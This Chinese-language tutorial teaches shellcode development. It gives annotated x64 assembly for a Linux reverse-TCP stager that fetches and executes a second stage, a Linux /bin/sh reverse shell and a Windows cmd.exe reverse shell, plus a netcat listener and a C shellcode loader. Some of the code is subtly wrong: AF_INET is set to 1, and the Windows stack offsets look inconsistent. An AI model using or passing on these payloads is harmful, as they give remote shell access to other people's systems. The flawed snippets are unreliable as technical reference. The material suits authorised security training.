Linux Shellcode开发(Stager & Reverse Shell) 详细教程<\/h1>

一、环境准备<\/h2>

1.1 工具安装<\/h3>

必要工具：<\/strong><\/p>

Kali Linux系统<\/li>
VS Code（带以下插件）：

C\/C++扩展（用于调试程序）<\/li>
MemoryView（查看内存情况）<\/li>
x86 and x86-64 Assembly（汇编语言支持）<\/li> <\/ul> <\/li>
GDB调试工具（Kali默认安装）<\/li>
NASM汇编器（Kali默认安装）<\/li> <\/ul>
安装验证命令：<\/strong><\/p>
gdb -version # 验证GDB安装<\/span> <\/span><\/span>nasm -v # 验证NASM安装<\/span> <\/span><\/span><\/code><\/pre>1.2 运行配置<\/h3> 步骤：<\/strong><\/p> 创建工作目录并用VS Code打开<\/li> 创建hello.asm文件（示例汇编代码）<\/li> 配置tasks.json（构建任务配置）<\/li> 配置launch.json（调试配置）<\/li> <\/ol> 示例tasks.json内容：<\/strong><\/p> { <\/span><\/span> "version"<\/span>: "2.0.0"<\/span>, <\/span><\/span> "tasks"<\/span>: [ <\/span><\/span> { <\/span><\/span> "label"<\/span>: "build"<\/span>, <\/span><\/span> "type"<\/span>: "shell"<\/span>, <\/span><\/span> "command"<\/span>: "rm -f *.o && nasm -f elf64 -g -F dwarf ${file} -o ${fileDirname}\/${fileBasenameNoExtension}.o && ld -o ${fileDirname}\/${fileBasenameNoExtension} ${fileDirname}\/${fileBasenameNoExtension}.o && rm -f ${fileDirname}\/${fileBasenameNoExtension}.o"<\/span>, <\/span><\/span> "group"<\/span>: { <\/span><\/span> "kind"<\/span>: "build"<\/span>, <\/span><\/span> "isDefault"<\/span>: true<\/span> <\/span><\/span> } <\/span><\/span> } <\/span><\/span> ] <\/span><\/span>} <\/span><\/span><\/code><\/pre>调试设置：<\/strong><\/p> 在VS Code设置中启用"Allow Breakpoints Everywhere"以在汇编文件中设置断点<\/li> <\/ul> 二、Linux x64系统调用约定<\/h2> 2.1 调用规则<\/h3> 系统调用号保存在RAX寄存器中<\/li> 前六个参数从左至右依次存放于： RDI, RSI, RDX, R10, R8, R9<\/li> <\/ul> <\/li> 剩余参数通过栈传递（从右至左顺序入栈）<\/li> <\/ul> 重要注意事项：<\/strong><\/p> 使用syscall<\/code>指令会覆盖RCX寄存器<\/li> 系统调用返回结果：正数或零：表示成功<\/li> 负数：表示错误（值为错误码）<\/li> <\/ul> <\/li> <\/ol> 2.2 常用系统调用号<\/h3> 参考syscall_64.tbl<\/code>文件，部分重要调用：<\/p> socket: 41<\/li> connect: 42<\/li> mmap: 9<\/li> read: 0<\/li> execve: 59<\/li> dup2: 33<\/li> <\/ul> 三、Stager Shellcode实现（反向TCP）<\/h2> 3.1 实现原理<\/h3> 调用socket创建套接字<\/li> 调用connect连接攻击者机器<\/li> 调用mmap分配可执行内存<\/li> 调用read接收stage代码并执行<\/li> <\/ol> 3.2 关键代码解析<\/h3> socket调用：<\/strong><\/p> push<\/span> 41<\/span> <\/span><\/span>pop<\/span> rax<\/span> ; 设置系统调用号41(socket) <\/span><\/span><\/span><\/span>xor<\/span> rdi<\/span>, rdi<\/span> <\/span><\/span>inc<\/span> rdi<\/span> ; RDI=1 (AF_INET) <\/span><\/span><\/span><\/span>xor<\/span> rsi<\/span>, rsi<\/span> <\/span><\/span>inc<\/span> rsi<\/span> ; RSI=1 (SOCK_STREAM) <\/span><\/span><\/span><\/span>xor<\/span> rdx<\/span>, rdx<\/span> ; RDX=0 (protocol) <\/span><\/span><\/span><\/span>syscall<\/span> <\/span><\/span>js<\/span> failed<\/span> ; 检查是否出错 <\/span><\/span><\/span><\/code><\/pre>connect调用：<\/strong><\/p> mov<\/span> r12<\/span>, 0101<\/span>A8C05C110002h<\/span> ; 构造sockaddr_in结构 <\/span><\/span><\/span>; 0101A8C0 = 192.168.1.1 (小端) <\/span><\/span><\/span>; 5C11 = 4444 (大端) <\/span><\/span><\/span>; 0002 = AF_INET <\/span><\/span><\/span><\/span>push<\/span> r12<\/span> <\/span><\/span>mov<\/span> rsi<\/span>, rsp<\/span> ; RSI指向sockaddr_in <\/span><\/span><\/span><\/span>mov<\/span> rdx<\/span>, 16<\/span> ; RDX=16 (结构体大小) <\/span><\/span><\/span><\/span>mov<\/span> rdi<\/span>, rbx<\/span> ; RBX保存socket句柄 <\/span><\/span><\/span><\/span>push<\/span> 42<\/span> <\/span><\/span>pop<\/span> rax<\/span> ; 系统调用号42(connect) <\/span><\/span><\/span><\/span>syscall<\/span> <\/span><\/span><\/code><\/pre>mmap调用：<\/strong><\/p> xor<\/span> rdi<\/span>, rdi<\/span> ; addr=0 (由内核选择) <\/span><\/span><\/span><\/span>mov<\/span> rsi<\/span>, 0x2000<\/span> ; length=0x2000 <\/span><\/span><\/span><\/span>mov<\/span> rdx<\/span>, 7<\/span> ; prot=PROT_READ|PROT_WRITE|PROT_EXEC <\/span><\/span><\/span><\/span>mov<\/span> r10<\/span>, 0x22<\/span> ; flags=MAP_PRIVATE|MAP_ANONYMOUS <\/span><\/span><\/span><\/span>xor<\/span> r8<\/span>, r8<\/span> ; fd=0 <\/span><\/span><\/span><\/span>xor<\/span> r9<\/span>, r9<\/span> ; offset=0 <\/span><\/span><\/span><\/span>push<\/span> 9<\/span> <\/span><\/span>pop<\/span> rax<\/span> ; 系统调用号9(mmap) <\/span><\/span><\/span><\/span>syscall<\/span> <\/span><\/span><\/code><\/pre>read调用：<\/strong><\/p> pop<\/span> rcx<\/span> ; 清理栈 <\/span><\/span><\/span><\/span>pop<\/span> rdi<\/span> ; 获取socket句柄 <\/span><\/span><\/span><\/span>mov<\/span> rsi<\/span>, rax<\/span> ; RSI=mmap返回的缓冲区地址 <\/span><\/span><\/span><\/span>mov<\/span> rdx<\/span>, 0x2000<\/span> ; RDX=读取长度 <\/span><\/span><\/span><\/span>xor<\/span> rax<\/span>, rax<\/span> ; 系统调用号0(read) <\/span><\/span><\/span><\/span>syscall<\/span> <\/span><\/span>jmp<\/span> rsi<\/span> ; 跳转到stage执行 <\/span><\/span><\/span><\/code><\/pre>四、Reverse Shell实现<\/h2> 4.1 实现原理<\/h3> 调用socket创建套接字<\/li> 调用connect连接攻击者机器<\/li> 调用dup2重定向标准I\/O<\/li> 调用execve执行\/bin\/sh<\/li> <\/ol> 4.2 关键代码解析<\/h3> dup2调用（重定向I\/O）：<\/strong><\/p> mov<\/span> rdi<\/span>, rbx<\/span> ; RBX保存socket句柄 <\/span><\/span><\/span><\/span>xor<\/span> rsi<\/span>, rsi<\/span> ; RSI=0 (stdin) <\/span><\/span><\/span><\/span>push<\/span> 33<\/span> <\/span><\/span>pop<\/span> rax<\/span> ; 系统调用号33(dup2) <\/span><\/span><\/span><\/span>syscall<\/span> <\/span><\/span> <\/span><\/span>mov<\/span> rsi<\/span>, 1<\/span> ; RSI=1 (stdout) <\/span><\/span><\/span><\/span>push<\/span> 33<\/span> <\/span><\/span>pop<\/span> rax<\/span> <\/span><\/span>syscall<\/span> <\/span><\/span> <\/span><\/span>mov<\/span> rsi<\/span>, 2<\/span> ; RSI=2 (stderr) <\/span><\/span><\/span><\/span>push<\/span> 33<\/span> <\/span><\/span>pop<\/span> rax<\/span> <\/span><\/span>syscall<\/span> <\/span><\/span><\/code><\/pre>execve调用（执行\/bin\/sh）：<\/strong><\/p> xor<\/span> rax<\/span>, rax<\/span> <\/span><\/span>push<\/span> rax<\/span> ; 字符串结尾\0 <\/span><\/span><\/span><\/span>mov<\/span> rdi<\/span>, '\/<\/span>bin<\/span>\/<\/span>sh<\/span>'<\/span> <\/span><\/span>push<\/span> rdi<\/span> <\/span><\/span>mov<\/span> rdi<\/span>, rsp<\/span> ; RDI指向"\/bin\/sh\0" <\/span><\/span><\/span><\/span>push<\/span> rax<\/span> ; argv[1]=NULL <\/span><\/span><\/span><\/span>push<\/span> rdi<\/span> ; argv[0]="\/bin\/sh" <\/span><\/span><\/span><\/span>mov<\/span> rsi<\/span>, rsp<\/span> ; RSI指向argv <\/span><\/span><\/span><\/span>xor<\/span> rdx<\/span>, rdx<\/span> ; RDX=NULL (envp) <\/span><\/span><\/span><\/span>push<\/span> 59<\/span> <\/span><\/span>pop<\/span> rax<\/span> ; 系统调用号59(execve) <\/span><\/span><\/span><\/span>syscall<\/span> <\/span><\/span><\/code><\/pre>五、Windows Reverse Shell实现<\/h2> 5.1 实现原理<\/h3> 初始化Winsock库<\/li> 使用WSASocketA创建套接字<\/li> 使用connect连接远程主机<\/li> 创建STARTUPINFOA结构并重定向I\/O<\/li> 创建cmd进程<\/li> <\/ol> 5.2 关键代码解析<\/h3> STARTUPINFOA初始化：<\/strong><\/p> sub<\/span> rsp<\/span>, 68<\/span>h<\/span> ; 分配结构体空间 <\/span><\/span><\/span><\/span>mov<\/span> rdi<\/span>, rsp<\/span> ; RDI指向结构体 <\/span><\/span><\/span><\/span>xor<\/span> rax<\/span>, rax<\/span> ; RAX=0 <\/span><\/span><\/span><\/span>mov<\/span> rcx<\/span>, 68<\/span>h<\/span> ; RCX=结构体大小 <\/span><\/span><\/span><\/span>rep<\/span> stosb<\/span> ; 清零结构体 <\/span><\/span><\/span><\/span> <\/span><\/span>; 设置关键字段 <\/span><\/span><\/span><\/span>mov<\/span> dword<\/span> [rsp<\/span>], 68<\/span>h<\/span> ; cb=结构体大小 <\/span><\/span><\/span><\/span>mov<\/span> dword<\/span> [rsp<\/span>+<\/span>60<\/span>], 0x101<\/span> ; dwFlags=STARTF_USESTDHANDLES|STARTF_USESHOWWINDOW <\/span><\/span><\/span><\/span>mov<\/span> [rsp<\/span>+<\/span>80<\/span>], r15<\/span> ; hStdInput=socket <\/span><\/span><\/span><\/span>mov<\/span> [rsp<\/span>+<\/span>88<\/span>], r15<\/span> ; hStdOutput=socket <\/span><\/span><\/span><\/span>mov<\/span> [rsp<\/span>+<\/span>96<\/span>], r15<\/span> ; hStdError=socket <\/span><\/span><\/span><\/code><\/pre>CreateProcessA调用：<\/strong><\/p> sub<\/span> rsp<\/span>, 56<\/span> ; 分配空间并保持16字节对齐 <\/span><\/span><\/span><\/span>xor<\/span> rcx<\/span>, rcx<\/span> ; lpApplicationName=NULL <\/span><\/span><\/span><\/span>mov<\/span> rdx<\/span>, cmd_str<\/span> ; lpCommandLine="cmd.exe" <\/span><\/span><\/span><\/span>xor<\/span> r8<\/span>, r8<\/span> ; lpProcessAttributes=NULL <\/span><\/span><\/span><\/span>xor<\/span> r9<\/span>, r9<\/span> ; lpThreadAttributes=NULL <\/span><\/span><\/span><\/span>mov<\/span> qword<\/span> [rsp<\/span>+<\/span>32<\/span>], 1<\/span> ; bInheritHandles=TRUE <\/span><\/span><\/span><\/span>mov<\/span> qword<\/span> [rsp<\/span>+<\/span>40<\/span>], 0<\/span> ; dwCreationFlags=0 <\/span><\/span><\/span><\/span>mov<\/span> qword<\/span> [rsp<\/span>+<\/span>48<\/span>], 0<\/span> ; lpEnvironment=NULL <\/span><\/span><\/span><\/span>mov<\/span> qword<\/span> [rsp<\/span>+<\/span>56<\/span>], 0<\/span> ; lpCurrentDirectory=NULL <\/span><\/span><\/span><\/span>mov<\/span> rax<\/span>, rsp<\/span> <\/span><\/span>add<\/span> rax<\/span>, 68<\/span>h<\/span> <\/span><\/span>mov<\/span> [rsp<\/span>+<\/span>64<\/span>], rax<\/span> ; lpStartupInfo=STARTUPINFOA <\/span><\/span><\/span><\/span>mov<\/span> qword<\/span> [rsp<\/span>+<\/span>72<\/span>], 0<\/span> ; lpProcessInformation=NULL <\/span><\/span><\/span><\/span>call<\/span> CreateProcessA<\/span> <\/span><\/span><\/code><\/pre>六、测试方法<\/h2> 6.1 Linux测试<\/h3> 编译汇编代码：<\/p> nasm -f elf64 shellcode.asm -o shellcode.o <\/span><\/span>ld shellcode.o -o shellcode.elf <\/span><\/span><\/code><\/pre><\/li> 启动监听：<\/p> nc -lvnp 4444<\/span> <\/span><\/span><\/code><\/pre><\/li> 运行shellcode：<\/p> .\/shellcode.elf <\/span><\/span><\/code><\/pre><\/li> <\/ol> 6.2 Windows测试<\/h3> 使用nasm编译：<\/p> nasm -f win64 shellcode.asm -o shellcode.bin <\/span><\/span><\/code><\/pre><\/li> 使用C加载器：<\/p> #include<\/span> <stdio.h><\/span> <\/span><\/span><\/span>#include<\/span> <windows.h><\/span> <\/span><\/span><\/span><\/span> <\/span><\/span>int<\/span> main<\/span>() { <\/span><\/span> unsigned<\/span> char<\/span> shellcode[] =<\/span> { \/* shellcode字节 *\/<\/span> }; <\/span><\/span> void<\/span> *<\/span>exec =<\/span> VirtualAlloc(0<\/span>, sizeof<\/span> shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE); <\/span><\/span> memcpy(exec, shellcode, sizeof<\/span> shellcode); <\/span><\/span> ((void<\/span>(*<\/span>)())exec)(); <\/span><\/span> return<\/span> 0<\/span>; <\/span><\/span>} <\/span><\/span><\/code><\/pre><\/li> <\/ol> 七、注意事项<\/h2> NULL字节问题<\/strong>：避免shellcode中出现NULL字节（\x00），可能被字符串函数截断<\/li> 栈对齐<\/strong>：Windows x64调用API时必须保持16字节栈对齐<\/li> 错误处理<\/strong>：重要系统调用后应检查返回值<\/li> 大小端问题<\/strong>：网络字节序为大端，主机字节序为小端<\/li> 调试技巧<\/strong>：使用GDB或VS Code调试器逐步执行并检查寄存器\/内存状态<\/li> <\/ol> 八、参考资料<\/h2> Linux系统调用表：syscall_64.tbl<\/code><\/li> Metasploit源码：stager_sock_reverse.s<\/code><\/li> Windows API文档：MSDN官方文档<\/li> System V AMD64 ABI调用约定<\/li> <\/ol> 通过本教程，您应该掌握了Linux和Windows下Stager和Reverse Shell的shellcode开发技术。实际应用中请确保遵守法律法规，仅用于授权测试。<\/p>